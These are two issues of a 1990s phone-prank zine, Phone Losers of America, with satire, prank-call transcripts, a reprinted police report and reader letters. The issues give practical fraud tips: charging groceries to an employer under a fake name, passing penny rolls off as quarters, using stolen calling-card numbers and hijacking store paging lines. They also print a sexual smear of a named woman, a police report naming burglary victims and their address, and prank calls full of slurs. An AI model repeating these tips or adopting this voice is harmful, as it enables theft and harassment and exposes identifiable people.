RBCP!! I know who you are! I got  arrested because of you!!  Well,  not really,  but I did get arrested  for trashing,  and they found some PLA issues that my fried at Kinkos had made into a book for me.  The cops took the whole thing seriously and booked PLA issues 000-016 into evidence!   We didn't actually get caught  while we were trashing,  we got pulled over on the way home and the cop searched the car.  He was confused by  trash  from cell phone providers,  and a bunch of telephones  that had aligator clips instead of modular's.  The funny  thing is,  the only thing they  really had on us were  three cloned  cell phones and they left those in the car at  the impound  lot and we  got 'em back.  What's booked  into evidence  as cell phones are three NON cell phone telephones, just regular phones you use at home. The only other evidence was in my pocket, and they missed that so I ate it sitting in the cop car.   -FLEA.

JOKE OF THE WEEK: How many top OCI Security Officials does it take to figure out what number you're calling from? Give up? None! They're still  trying  to  figure  out  how  the  hell  to screw in a light  bulb.

The  best way to  cactus someone is  to mail that person a couple of cactus and they'll  just think  "what the  hell is happening  I'm getting a fucking cactus in the mail"  -SPEED

Contact The Phone Losers Of America Nearest You!

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

FTP.INTERCONNECT.NET - pub/personal/pla

FTP.SPIFF.NET - /pub/users/apok0lyp/pla

ftp://ftp.interconnect.net - /personal/pla

ftp://ftp.spiff.net - /pub/users/apok0lyp/pla

bueno@peak.org - RedBoxChiliPepper

cactus@i1.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@i1.net - Apok0lyps

http://www.apci.net/~eightbal/ - Eight Ball's PLA Corner Pocket

http://www.pancreas.com/libs/pla.htm - THe FLoaTinG PanCReaS BBS

http://peak.org/~bueno/pla.html - Whombat Communications

http://www.spiff.net/~apok0lyp/index.html - PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla - Delirium's Original PLA Web Page

This issue marks a temporary end to the issues. Seriously this time. No, really, you gotta believe me. I'm not kidding around. Anyway, so that I can have a little extra time to pursue other projects, I'm putting a temporary stop to PLA. So in answer to anyone who wants to e-mail me and ask when PLA040 is going to be out, the answer is probably around the end of 1996.

Of course this doesn't mean you still can't submit. By any means possible, send me stuff. Keep watching the web page for further updates. And stay  tuned next issue when we publish the personal credit histories of all the employees over at Send-A-Song... (Just kidding, Bob!)

Issue #040

Colleen Card’s Unauthorized PLA Issue

Since RBCP is so lazy and doesn't want to write anymore PLA I've decided, in the spirit of dhate, to release my own issue of PLA once again against RBCP's will. My issue will be even less useful than his are because I've written very little to do with phones or computers. Oh yeah and since RBCP thinks he's too manly to do it himself, I suppose I'll have to be the one to announce the birth of our daughter Emily which happened nearly five months ago.

Oh the joys of motherhood are tremendous. Laundry, dishes, feeding the baby and changing diapers. RedBoxChiliPepper sure has his work cut out for him.  Meanwhile I'm trying to educate little Emily. We're starting out easy with red boxes, but she just keeps drooling on the circuit board. We have high expectations for her though and are hoping she'll be the first Phone Loser that actually knows how to do anything.

So if you'd like to read something technical, go build something and send us a submission. We aren't bright enough to do it ourselves. But if you are looking for tons of laughs we do recommend Calvin & Hobbes.

In other news, Nekid Amy of PLAGIF07.GIF had sex at Defcon in somebody's bed, shower and on their floor. To protect the innocent we won't be releasing victim's name but if you ever attend another con stay away from this nappy bitch. Rumor & speculation suggests she's carrying more variations of VD that any human being has ever endured and that touching her will make you die instantly. Being in the same room only makes you nauseated so that's why Defcon wasn't as cool as it usually is. Secret sources indicate that after infecting the entire Granite City, Illinois area, she's moving on to 303. Be careful.

I hope you enjoy this issue and check out our web page because RBCP thinks it's neat and if you don't agree with him his feelings get hurt. So visit http://www.peak.org/~bueno/pla.html and don't tell him how much it sucks. He's sensitive. I'm also starting a new page called Colleen Card's Coupon Craze at http://www.peak.org/~bueno/colleen/coupon.html beginning in October where you'll be able to get a great bargain on some stunning PLA merchandise. Impress your friends, get grounded by your parents and all that. 4 out of 5 hackers agree that our t-shirts aren't quite as lame as erikb's MOD-LOD shirts but pretty damn close.

Colleen Card

A New Life For All!

Working 9 to 5 and getting nowhere? Does it seem like you never have the time to accomplish your goals for a brighter future and a stronger psyches? Do you believe someone should be required to cook and provide all of your meals for you? Are you tried of maximum work for minimum wage and having no health care or even being able to afford cable TV or cigarettes?

A L L   T H I S   C A N   B E   Y O U R S !

At our facilities we take care of our guests. Room, board and three hot meals a day. We provide outdoor activities, have an extensive library and numerous athletic facilities. A structured environment where you can even continue your education!

How can I have all this? All it will cost you is your dignity. So go out and commit a federal crime. Live on the edge, do bad things, hack into hundreds of out-of-state systems without covering your tracks, make threatening interstate phone calls to the president and get back what you've put into uncle sam today.

Paid for by the Lets Throw Everybody In Jail So The Government Can  Have  Complete  Control  Like  The  Commies  Party Party.

Kitchen Improvised Peanut Butter & Jelly

Ready for some REAL anarchy? Read this file and follow the instructions.  You'll never be the same again. I, Colleen Card, am not responsible for the outcome of this article. You are acting on your own will and I cannot be held responsible for your actions if anyone gets hurt or the police come knocking. Use common sense.

Ingredients:

(1) Plate (glass preferred, but paper will work)

(2) Slices of bread (generic is fine)

(1) jar of Skippy peanut butter

(1) jar of jelly

(1) spoon (make sure the scoop is concave)

(2) butter knives (do NOT use a sharp knife - you'll get grounded)

An optional accessory would be a glass of milk but there's no need to get fancy because it won't last long. Most of these supplies and Ingredients can be obtained through a local grocery store or Army surplus shop. I would have included a chemical equivalency chart but space didn't permit.

1) Set the plate down on a smooth surface. The kitchen counter will work just fine but if you're sloppy (i.e. have never does this before) you'll have a mighty big mess to clean up.

2) Set the two slices of bread on the plate next to each other facing opposite directions. If you have them going the same way they won't fit together correctly in the end and you'll end up having to start over and waste all that product.

3) Pop the lids off both the jelly and the peanut butter. This is usually done by twisting the lids counter-clockwise but some brand names open differently. Consult the instructions on the top of the lid if you have any problems.

4) Use the spoon and take one heaping scoop of jelly out of the jar. SET THE PEANUT BUTTER OFF TO THE SIDE so that you don't accidentally drip any jelly into it. Using the spoon, carefully set the jelly onto one slice of bread.  Using one of the knives, spread the jelly evenly all over the slice being careful not to drip any over the edges.

5) After securing the lid to the jelly and setting it off to the side, take your peanut butter and use the second knife to take a scoop out of the jar.  DO NOT attempt to use the same knife you used for the jelly even if you've washed it off really good. This could contaminate the peanut butter rendering the rest of the jar useless. Use the knife to spread peanut butter over the surface of the second piece of bread. Basically use the same technique as you did with the jelly but you'll notice the texture is a little different.

6) Okay, the easy part is over with, now for the difficult stuff. Make sure you're in a well-lighted area so that you don't screw this part up. Chances are that you won't get it right the first time. Don't be discouraged, just start over. Take the slice of bread containing the peanut butter by the far edge and flip it over on top of the slice with the jelly so that the jelly and peanut butter mix. Carefully adjust the top slice so that the edges are even with the bottom slice all the way around.

Okay, that's it & you've done it! It might be a good idea to push the whole thing towards the center of the plate to reduce the risk of the plate tipping over if you decide to pick it up. Hope that you get plenty of use out of this as us here in the PLA have.

Police Log

Below is a police log that an old friend sent me last year. He says that he was so smashed this night that he doesn't remember a thing that happened and just woke up in jail one day. Names have been changed to protect the innocent.

CHARGE:                         BAIL:

Burglary I                      $5500.00

Kidnap II                       $5500.00

Att. Burglary I                 $5500.00

Criminal Mischief II            $1000.00

Criminal Mischief II            $1000.00

Criminal Mischief II            $1000.00

SUMMARY:

On 01/01/xx at about 0438hrs Michael Simms was arrested on Burglary I, Kidnap II and other charges when he broke into 16053 SE Stark St. #146, Portland, Robert and Margaret Etten's residence.

ACTION TAKEN:

On 01/01/xx at about 0422hrs Sgt. Shingles and I were dispatched to a disturbance of an unknown person pounding on the door at 16053 SE Stark St. #146, Portland. We arrived and began getting multiple reports of someone pounding on doors. Then we got a report that the person had broken a window and made entry into one of the apartments.

Sgt. Shingles found Michael Simms crouched down attempting to hide by the apartments. I went to meet them. I observed that Simms was soaking wet and very muddy. I saw that his hands were cut and bleeding.

I detained Simms and read him his Miranda rights from a prepared card. I asked him if he understood his rights and he said, "yes."

I smelled a strong odor of an alcoholic beverage on Simm's  breath. I saw that his eyes were red and watery. He had difficulty standing & staggered when he walked.

Sgt. Shingles found that apartment #146 had been burglarized. He contacted the residents Mr. and Mrs. Etten. They told him someone had broken the kitchen window and came into their apartment.

Sgt. Shingles took Simms by the victims' window to see if they could  identify him. Mrs. Etten said that the man was definately the one that had been in their apartment. Mr. Etten had moved to a different window to look out and didn't see the suspect.

I observed that there was glass all over their kitchen from the broken window in the kitchen. I saw that the kitchen window faced the back of the apartment.  I observed dirt on the kitchen floor. There was blood on the refrigerators.

I saw that outside the back of the apartment was the kitchen window screen. I observed that it was all cut up and had holes poked in it. There was a large wooden cupboard on the back porch that had been knocked on its side. There was also dirt on the read door and a foot print. The screen door was open and had not been damaged.

Deputy Guider took pictures of the damage to apartments #144, #145 and #146. He took statements from witnesses and wrote a special report. I took the window screen as evidence. I also seized a black kershaw knife and a screwdriver from Simms as evidence. I gave Simms a receipt for his property.

STATEMENT - MARGARET ETTEN:

Mrs. Etten told me she thought she hear an explosion. She told me she thought it was because of New Year's Eve. She said that she looked out of her bedroom window and saw a bush moving all around.

Margaret told me she heard a pounding and a crash. She said she looked in the kitchen and saw glass all over. She told me she tried to call the Health Center but must have dialed the wrong number.

She said, "I was scared. I looked up and saw him standing there." She told me Bob, her husband, tried to call 911. Margaret said the man took the telephone receiver off the hook and put it on the desk. She told me Bob started for the door but the man stopped him. The man was showing them the phone off the hook but saying "This is the door, don't open the door or they will come and get me."

Margaret said the man was in the house a good long time. She said he went into the bathroom and turned on the light. She told me he combed his hair and turned on a "blower."

Margaret told me the man was raving and rambling. She said he wasn't making any sense. She said he said leave the phone right there. He pointed at the phone and was saying that's the door, don't open it.

She told me she absolutely identified the man that we brought by her window. She said that there is no question that he was the man in their apartment.

STATEMENT - ROBERT ETTEN:

Robert told me he heard a great pounding. He thought someone was working next door because they had been doing some remodeling there. Then he said there wasa big crash. He told me he was walking out and came around to the kitchen. He saw a man standing in their house.

Robert Etten said the man was pointing out towards the back and saying, "That's it over there." Robert said that the man was trying to say the problem was over there and wasn't him. He said that the man was incoherent in his talking. He told me he could hardly understand him.

Robert said the man wanted him to do something but he didn't know what. He said his wife tried to call the health center and he called 911. Robert said the man was at least 6ft tall. He said we just obeyed him we didn't argue with him. He said, "Boy did he tear the place up."

Robert told me the man took the phone off the hook. The man told him to leave it like that and don't touch it or they will get me. Robert said the man didn't want him to go to the door. When he went to the door, the man said "This is the door," (as he was referring to the telephone). He told him not to touch it or they would come and get him.

Robert said he unlocked the front door but didn't open it. He said he knew the cops were coming. He told me he didn't argue with the man. Robert said he noticed the man was slurring his words and didn't make any sense. He told me the man went in the bathroom and came out.

He said that the man wanted him to push III on the telephone. He told me he just did it but didn't know why. Then the man tried to push the buttons himself and just pushed a lot of buttons. The man crawled back out the kitchen window.

STATEMENT - MICHAEL SIMMS:

Michael told me that he maybe fell into a window. After that he denied breaking a window. He kept telling me to look at the blood on his hands so I could tell it wasn't from the window. He also said that just because there was blood on his hands that didn't prove he broke the window.

He said he saw cops. He said, "I'm not stupid." Then he wouldn't explain what that meant. He told me he was walking through and a bunch of cops were questioning him and arresting him. He said, "I didn't steal anything." He said, "For all I know I should be sitting in Detox."

When I told him witnesses had identified him, he said that the witnesses were probably a bunch of old people. He said, "I don't know anything, what the hell happened.", "I did not break into an old folks home and break a window."

Then at the jail he said that there was probably someone else there that did it. He said that if there was someone else then maybe it was this one guy but he didn't know his name.

EVIDENCE:

1 knife

1 screwdriver

1 window screen

Horoscopes

TAURUS APR 20 - MAY 20: You are a stubborn buttface. You should be nice and do what everyone tells you to do.

GEMINI MAY 21 - JUNE 20: You are psychotic and have multiple personalities. On the 20th the moon will rise to the day and make the night conflict. Buy mass quantities of Snickers bars this week.

CANCER JUN 21 - JULY 22: The planets urge you to turn off your computer and go talk to a girl. On the 11th you might have a threesome assuming you're not a fat slob with zits on your butt. If the later is true, buy a PLA t-shirt.

LEO JULY 23 - AUG 22: You have a big mouth. If you have blonde hair, dye it brown. Your mom feeds you too much cheese-whiz. A mysterious transvestite will msg you if you get an account on AOL this month.

VIRGO AUG 23 - SEPT 22: The fruity-ass motherfucker formation of the planets will compel you to read recent back issues of Phrack and order lots of t-shirts from erikb. Wearing one of his stylish LOD-MOD t-shirts will create financial rewards and maybe cause you to get lucky. (Yeah, right, with Nekid Amy maybe.)

LIBRA SEPT 23 - OCT 22: If your parents go out of town on the 15th, you may get to watch the Porno Channel if you can figure out how to hack the parental control unit on top of the set. If not, the formation of the stars may allow you to play with Rosey Palmer & her five sisters.

SCORPIO OCT 23 - NOV 21: Take a deep breath and keep anxieties to yourself. The new moon of the 17th will result in the completion of a working red box and maybe the loss of a few pimples.

SAGITTARIUS NOV 22 - DEC 21: Many Reeses peanut butter cups are in your near future. Work & money claim most of the archer's attention this month. If problems persist, take your frustrations out on the OCI operators. Their number is 1-800-288-2880.

CAPRICORN DEC 22 - JAN 20: Mars & Sun will bring job success to your future. All you need to do is fill out the application at McDonald's.

AQUARIUS JAN 21 - FEB 19: This month begins with the moons coinciding with a federal raid to your apartment. Don't bother encoding all your valuables because you will be released when the FBI's janitor accidentally throws away your notebook full of codes.

PISCES FEB 20 - MAR 19: Venus's fourth moon on it's fifth rotation on the 17th at the east-west polar axis compel's you to order many songs from the automated Send-A-Song service by dialing 1-800-272-7664.

ARIES MAR 20 - APR 19: We are such stupid losers that we can't think of anything else to write so consult the anarchy files on your local bbs to learn how to make a fake ID, changing your birth sign from Aries to one of the others above.

Contact The Phone Losers Of America Nearest You!

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

FTP.INTERCONNECT.NET - pub/personal/pla

FTP.SPIFF.NET - /pub/users/apok0lyp/pla

bueno@peak.org - RedBoxChiliPepper

roy@icsi.interconnect.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@i1.net - Apok0lyps

http://www.apci.net/~eightbal/ - Eight Ball's PLA Corner Pocket

http://www.pancreas.com/libs/pla.htm - THe FLoaTinG PanCReaS BBS

http://peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.spiff.net/~apok0lyp/index.html - PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla - Delirium's Original PLA Web Page

Issue #041

Released on October 6, 1996

"Quite frankly your life was in the shitter  by the time you first went to Texas.  You can't blame me for all your fuckups." - Chris Tomkinson, 1995

(1) My quest to become a member of the PLA - by Digital Dreamer

(2) Prank Phone Call Transcripts - Mouthbreather

(3) Free Groceries For All - The Cookiesnatcher

(4) Letters

My quest to become a member of the PLA - by Digital Dreamer

By: Digital Dreamer (Valium on EFnet, Digital on Undernet)

Ever since I can remember, I've always wanted to be a member of PLA.  It was almost instant -- the first time I saw that issue of PLA001, I have been obsessed.  I would read and reread each issue, straining my eyes to read the text printed from the faded, aged printer ribbon my friend, Phil had.  I didn't have a printer, you see.  My TRS-80's daisywheel had long ago given out.  But that didn't deter me.

I realized, soon enough, that my only way to get in to PLA would be to emulate RedBoxChilliPepper.  Even though he wasn't the leader, he was the one who wrote all the articles, and so his exploits were the most documented.  When I heard that he brought his laptop with him in to work to do stuff like write issues of PLA, I instantly realized how I could be like him.  I tossed my TRS-80 in the trunk, 10 8inch disks with my latest warez (written in BASIC-80, I was so proud!), and went to my college elevator.  I knew the elevator had one of those emergency phones, and I also knew it had a power plug for maintenance.  I discreetly smuggled my TRS-80 under my coat to get by the security guard.  I hadn't started shaving yet (although I could hardly wait to tell Phil when I did!), so I just told the guard I was a pregnant child prostitute and he let me past.

Once inside the elevator, I ripped the emergency telephone out of the wall, and lo and behold, there was a wall jack.  Quickly setting up my TRS-80, I booted and went into the wardialer I had written.  I told it to start scanning an exchange.  I felt like a real Phone Freak.  About 3 seconds later, I had arrived at the floor I told the elevator to go to.  Quickly I pushed another button so the doors would close and the elevator would keep going.  Well, that's until the people on the bottom floor noticed something was amiss and told me to stop.  But I didn't care, I had scanned an entire exchange, and the results were stored on a single 8 inch disk.  I could hardly wait to get home and tell my mom!

I emailed RedBoxChilliPepper about this repeatedly, and not once did he reply.  I figured he wasn't that impressed, since he had probably done it himself before, so I decided to use his own tricks against him.  I quickly got the Phrack list of outdials that Erikb had published 3 years ago, along with Phrack 47.  Unfortunately, none of them worked, but after whining on EFNet #phreak for about 3 hours (it took 2 just to get on the IRC at 300 baud from my trusty TRS -- the accoustic couplers kept falling off), someone told me one.  So I quickly telnetted to it from my friend's machine (I had hacked his password by watching him type it in at school) and dialed up the relay service.  I asked them to please dial directory assistance for Illinois.  I realize now that I could have just dialed up tdd directory assistance for Illinois direct, but I was young and foolish.  Anyway, I told them that I didn't actually have a name or number or address.  However, I did have a .GIF of him, so I drew it best I could for the tdd relay operator using my ASCII art skills, and asked her to describe it to the directory assistance operator.  After I did that, she said "sksk" and hung up.  Ah-A! I had it, RBCP's name was "sksk".  Now I could scare him with my Phone Phreak (Phil told me that was how it was spelled -- I didn't get it, they said never to spell stuff like that in English class, but I didn't want to make a scene by pointing out Phil's mistake) Skills.  I was so proud.

I then emailed RBCP several more time, addressing him by name (Hi, there, sksk.  Yes, I know your name, my skills are *that* leet, fear me.)  (Phil helped me write that one) to scare him.  I must have scared him so much he couldn't bear to reply, because he didn't.  I was so happy, I danced around the house singing "I'm a Phone Phreak, nyah nyah" until my mom made me stop.

I knew that only impressing RBCP wouldn't be any good -- I'd need to  impress that Zak hooligan, too.  So I decided to make some prank calls through my favorite Bell Relay Service Operator, 4312 (F).  Talking to her always gave me an erection.  Here is a log of one.

OPERATOR: number pls ga

ME: 1-800-LOAN-YES

OPERATOR: ringing... 1... 2... (answered) (ca here ... explaining relay service) .. ok, hello.. ga

ME: BIG PINK DONKEY DICKS! (please hang up, ca)

OPERATOR: ok .. disconnected, ga or sk

ME: hang up, fool.

OPERATOR: ok, thanks for using at&t sksk

ME: yeah, whatever.

<session ends>

I was so proud, I sent Zak taped recordings of my prank calls.  They weren't very interesting, just the sound of my typing for about 20 minutes, but I saw he liked doing that a lot, so I sent them anyway.  He never replied, he must have been real peachy keen impressed.  I was soo happy.

As I was browsing the PLA website in lynx one day, I saw that they had an application form up! Excitedly, I took it home and got my mom and dad to help me fill it out for me.  I was a bit worried when there was the section to enter in your credit card, since I had heard they were Credit Card Phreaks, but I filled it in anyway.

I mailed it in, and while I was waiting for a response, my parents got a big shock.  Boy howdy, the bill on that credit card was $1,000e10! How did that happen? I thought it might have been PLA, but I was too afraid to tell my parents.  They changed their credit card number with some white out and an exacto knife, but still they kept getting billed.  Eventually, they just gave up and cancelled the credit card, but it didn't stop there.  I kept getting 20-30 calls a DAY with people just calling up, saying "Jim Rimmer" (that's my name, they must have got it the same was as me through the relay service, since I have my picture up on my homepage).  I began to get real frustrated, and got the telephone company (Back-Asswards-Communications, Inc.  One time when I was down there looking at the new switches (they upgraded to SxS) as part of a tour, they mentioned they were really called Oncor, but that they never used that name except at formal occasions) to change my number.  The phone calls stopped for about 20 seconds, and then resumed.  I was so surprised, I wondered who could be doing it.

Well, the calls slowed down for a while, but then one morning I woke up when the doorbell rang.  I looked out my window and my street was positively filled with all sorts of trucks, cars, vans and fire department vehicles! I was so worried I wet myself.  But once I changed clothes, I told them all it was a mistake and to go away.  Well, it was hard to get that all out, because I had a bran muffin in my mouth and all these reporters were asking me questions.  But I eventually got it out once I accidentally spat out my bran muffin on some guy standing beside me.

Anyway, then my phone line changed somehow.  It started asking me for quarters! I thought this must be some change in billing procedures, but I also realized this would be the perfect chance for me to try out my Red Box! Wow, I called all my friends over and we sat around the phone.  I picked it up and hit the quarter button.  Unfortunately, it didn't work! All my friends called me a loser and beat me up for my lunchmoney, but I didn't care.  I was a Phone Phreak!

Sadly, I have been unable to continue persuing my membership in PLA, because my TRS-80 accoustic modem can't dial over the new kind of phone line.  My parents are afraid to go to the telco office and ask them to change it, because the billing office is out in the middle of the forest and is surrounded by bears, hunters and ugly people.

Anyway, I thought I'd share my experiences with you so you too can try to get into PLA.  Good luck!

[dreamer@garrison.inetcan.net]

Digital Dreamer (Valium on EFnet, Digital on Undernet)

Prank Phone Call Transcripts

No PLA issue can be complete without a few prank phone call transcripts. The following three are done by Mouthbreather (847). The first transcript is from a collect call made through OCI to an adjacent pay phone that just so happens to accept collect calls (847-234-9674).

OP: Hello this is OCI, you have a collect call from Mike Hunt.

ME: What?  I have a collect call from your cunt?  Why the hell is your cunt calling me?

OP: <pissed>  Mike <pause> Hunt

ME: There's a collect call coming from your cunt?  That's disgusting!  You are a sick person

OP: I'm putting the call through anyway

------------

Him: Hello?

Me: Lactation Services incorporated?

Him: Yes.

Me: Hi, I would like to get a breast pump

Him: Sure, hold on one second

Me: Sure <I'm put on hold for awhile...>

Mary: Hello, this is Mary

Me: Hi, I'm interested in a breast pump

Mary: Hi!

Me: Hi, how are you?

Mary: How are you, who is this?

Me: This is Nathan, but you can call me Bobby.

Mary: But I can call you Bobby?

Me: Yeah, that's most my friends call me because when I was a kid...

Mary: uh huh

Me: ...there was this kid in my grade who used to look just like me...

Mary: uh huh

Me: ...and his name was Bobby

Mary: Huh!

Me: And so, like, he was a real trouble maker, and he would always get beaten up by kids, or people would want to, but they would always get me instead.

Mary: Oh my goodness.

Me: It was horrible.

Mary: Well it sounds like it.  I assume this is for your...

Me: That's why I'm missing my left buttocks.

Mary: <pause> Is your wife there?

Me: Um, no she isn't.  this is going to be a gift.

Mary: this is a gift to...

Me: To my wife.

Mary: ...to your wife.  Okay so your looking for a purchase

Me: Yes.

Mary: Did you just have the baby? or...

Me: Yes, we just had the baby?

Mary: ...good.  Where did you deliver it?

Me: Lake Forest Hospital.

Mary: Lake Forest?  And where are you located?

Me: I'm in Lake Forest too.

Mary: Oh, so did you see the add in the yellow pages?

Me: Oh, yes I did.

Mary: Oh, great, that's good...

Me: It was great, i liked it.

Mary: Good.  The purchase bress pump I have is called the Medilius pump-in-style.

Me: Ooohh!

Mary: It's a bress pump that comes...

Me: How many designer colors?

Mary: It comes in blue.

Me: Oh excellent.

Mary: The bag is nav...

Me: Cause the baby is a boy.

Mary: Oh okay, well the bag is navy blue, and ummm...it gives the woman the capability of pumping both breasts at the same time...

Me: WHOA!

Mary: Is she going back to work?

Me: Not any time soon.  If she did could she wear it to work?

Mary: If she did she could bring it to work, yes.

Me: Isn't it kind of bulky though?  Would people be like...  <trailing off laughing>

Mary: Is this a prank call or is this serious?

Me: No I'm sorry...

Mary: ok

Me: ...it's just that I'm a little insecure about breasts.

Mary: Oh, well she wouldn't wear it to work, she would use on and off. She's bress feeding the baby?

Me: Yes.  When I say titmouse I start laughing <trails off laughing>

Mary: Okay I take that this is a prank call.

Me: No, when I say titmous I start laughing <trails off laughing>

------------

PET: Pet Center may I help you?

DAN (ME): Um, yes, I lost my teddy bear, I think I dropped it in your rat cage and I was wondering if they would, uh, try to rip it apart?  or something?

PET: They might

DAN: They might?

PET: Sure.

DAN: Could you rip it away from them?  Cause I like my teddy bear.

PET: Take it away.

DAN: <sobbing> Don't give me any lip, bitch!  I'm serious.  My favorite teddy, my favorite fucking teddy bear!

PET: Teddy bear what?  A hamster?

DAN: A Teddy BEAR!!! <sobbing>  Listen bitch, give me my teddy bear!  Now.

PET: Wait, what it is a stuffed teddy bear?

DAN: <sobbing> Yeah, it's a teddy bear!

PET: A stuffed teddy bear.

DAN: YES!!! <sob>

DAN: <different voice> Hello, this is Dan's father, I want my teddy bear.  My son was in their, and he had a teddy bear and he dropped it in the rat cage.

PET: Here?

DAN: Yes he did, and now the rats are tearing it apart, and you won't do crap about it!  and I'm pissed off.

PET: This is the weirdest...I don't know what to tell you, you're going to...

DAN: What I'm going to do?  I'm not in the store, you can do it.

PET: You dropped the teddy bear in a tank in the store here?

DAN: Yes, and know it's ripped apart and you won't do crap about it!

PET: Well...  Well...

DAN: Well are you retarded?  Can't you speak?  And now I'm at home...

PET: You calm down.

DAN: And know I'm at home, and there's no teddy bear, cause it's in the tank.

Free Groceries For All! - written by The Cookiesnatcher

Alright here's the thing, me being of the adolecent I am, have to do adolecent things, one of which is getting a shit job.  For three long months I worked at a fast food chain called "Hardee's".  This is a place almost identical to McDonald's, anyway among the tasks performed there were common fast food shit like taking orders, dealing with customers, etc, etc.  One day we ran out of strawberries (for milk shakes), and as it were, milk.

So me being the little work horse I am was sent to the nearest Grocery Store to fetch these needed product's.  I was thinking that they would give me money or a check or some way of paying for these but instead told me to tell the grocery store to bill it to Hardee's, I said ok and was on my way.

When I retrieved the items and went up to the check out register I simply told her to charge it to Hardee's. Do we see where this is going yet? They wrote out a little form and had me sign at the bottom, not asking for ID, proof of employment or any means of identifacion.  So I was on my merry way to my mundane job thinking "hmmmm, that was too easy".

So I finished up my day's work and the next day (which I had off) went back to the store wearing my Hardee's uniform and did the same thing, only this time I took stuff that I wanted, like cigerettes, condoms (so i can have sex)...(ok so I can be prepared to have sex)........(alright alright i didnt get condoms!!!) and things to that effect.  I went up to the counter and did the same thing only this time I signed my name as someone who doesnt exist.

It's really that easy to get anything you want from a grocery store. Just make sure its the closest Grocery Store to the fast food place you are charging it to.

Letters

Imagine my surprise when I found out that PLA fans can actually compose entire letters! I was so shocked I decided to clean out my capture directory and put all the content here. If YOU'D like to tell me where to go, write your letters to bueno@peak.org. Letters which have signatures longer than the body of the letter will be heavily edited and printed to make the author look retarded.

Dear PLA:

As a disgruntled ex-Kroger Grocery Store Employee (heavy on the ex, light on the disgruntled)  I have a little knowledge of Kroger's Paging system which I am more than happy to share for the sake of PLA :)

At my store old store, (I'm not sure about every store but will check others in a few dayz) the paging extension was 50.  If you were a cashier, all you'd have to do was pick up the phone, dial 50, then broadcast your message over the entire store.  The customer service extension was 255.

If you wanted to take over from the outside you would have to dial up customer service (ex: 912-925-0095).  Then have them switch you to another department.  You wouldn't want to take over through customer service, they get suspicious.  Try getting transfered to a department like produce. Produce is usually stocked with a bunch of teen age boys who don't give a fuck what you do and may just help you becuase they are bored as hell. Go figure!

You could also try departments who don't use the phone a lot like Seafood, Meat Dept, Deli, or Bakery.  Now for an employee to transfer you, he must hit FLASH (click the hook once), 51, then 50 for the paging extension.  Now you gots total control.  Give it a try, if you're bored one day and happen to have an unused calling card code.  Good Luck!

N-TREEG

------------

Dear PLA:

umm, i read pla 39, and you were talking about all the security with them needing zip codes.... bah ... i did your fool-the-gas-station thing (beat your record too, got 5 cards in once call from dave the night man) with a speedway in our huge pop. 200 town here, and when id play around carding calls through 800-COLLECT (face it, mci deserves more than at&t if only for their "are you out there at&t" commercials.) and they need the zip code too,  if you get the cards from a small-town gas station then 90% of them will be the zip code the gas station is in. call the town's post office (or a town resident if you want to confuse them, i guess) and get the zip code. umm, have fun with the roam ops.

------------

Dear PLA:

This is a 13 year old, and you have officially corrupted me. hoo hoo ha ha ha!!  If ya don't mind, we're gonna use your method of messing around with Fred Meyers (they're up in alaska, too), just cuz it's so d@mn (I'm always one step ahead of the censors...) funny! I love PLA, you guys are my idols.

thanx-

Quinton

------------

Dear PLA:

hey me and a buddy visited #rock seeking out constant hassling and we found nothing just some fukko name phelon made some comment about niggers and i suddenly transformed into an angry black muslim. no one else ever said anything. no witty comebacks. what's up? i thought i was suppose to get shit on if i go in there.

-humbly disgruntled

------------

Dear RBCP:

I really love your web page, and everthing on it, it really is one of my favorite, if not #1, but reading through your life story there was one thing I didn't understand, how in the Helsinki did you pass pennies in quarter rolls as quarters?!  The quarter roll has a wider diameter than the pennies and unless you cut the paper and glued it... how would you do it... I'm interested in knowing...for information purposes only, of course.

thanks & keep pla alive for ever,

blucloake

http://members.iglou.com/boiser5/bluecloak.htm

[Although it's very risky, it's also very easy. It goes something like this: Take one roll of pennies, open it and remove four pennies from the roll, scotch tape the roll shut very tightly, cut 2 1/2 strips of construction paper the same width as your new penny roll and tape it around the roll.

Now you should have a cylinder that has the exact same width and diameter of a roll of quarters. Wrap a quarter wrapper around it, tape the ends, write a fake name and phone number on the side and you're ready to go. A safer, yet not as cost effective, alternative would be to remove SIX pennies from the original roll, then after you've stuck the modified pennies into the quarter roll, stick a quarter on each side, just in case the cashier opens it. This saved me a few times. ]

------------

Dear PLA:

Some pretty amusing pranks there for the 7-11 pinheads to ponder. Me, I won't even go into a 7-11 store. Haven't ever since the puss-brains quit selling cigarette papers. Nuts to 7-11. I'm kind've an aging fart, 45 going on 46, but I still chuckle when I think of the whacky shit a buddy of mine and myself used to do to unsuspecting store employees, customers and innocent bystanders when we were teenagers. I'd better not email you details of the incidents, even though it's been at least 28 years since most of them occurred because I don't know who all can read this shit.

I will say, however, that if a prankster has a particular convenience store for targeting and the store has sliding glass doors they leave open on hot days (not many stores left like that I know) several well aimed jumbo sized firework rockets through the open doors will make everyone inside hit the deck pronto. I stick to more mundane things nowadays, like writing whacky crap for the web. Check out my channel at http://clix.net/clix/dooleys if you're interested.

Later

Dinosaur Dooley

------------

Dear PLA:

This is so cool!  I've found stuff here that isn't anywhere else on the Net!   The instructions are also more in-depth than the ones on other sites, so even an idiot like me can figure it out.  By the way, I called Netcom for a free disk and they said their disks were only available with payment for the first month.

Brian

Chambersurg, PA

------------

Dear PLA:

Hey RBCP, awhile back my comp was on the fritz and I only had a few text files for inspiration.  One was by you about the cordless phone fun you had with a neighbor in Illinois. That kept my spirits up till I got back online.

Thanx!

iamone

------------

Dear PLA:

You guys kick ass!! After reading the revenge issue I canceled all of my principal's credit cards & various other things but I also tormented Walmart so much over the intercom system (extension 13) that they changed it to auto dial exstensions so that I couldn't get on them anymore.

-Atomic Punk

------------

Dear PLA:

I've found a new way to block 800 ANI. It is called Net2Phone and allows people to place calls using a piece software which connects to IDT's (the company offering Net2Phone) servers and routes the call from their fones in New Jersey to wherever you want to call.

Here is how they describe it, "Net2Phone enables Internet users with sound equipped PCs to initiate calls from their computers and transmit them over the Internet to IDT's phone switches. The switches then convert the signal from the 'packet switch network' Internet environment to the 'circuit switch network' telephone environment. And then  to its' final destination - any ordinary telephone. The result is real-time uninterrupted voice communication between the two calling parties."

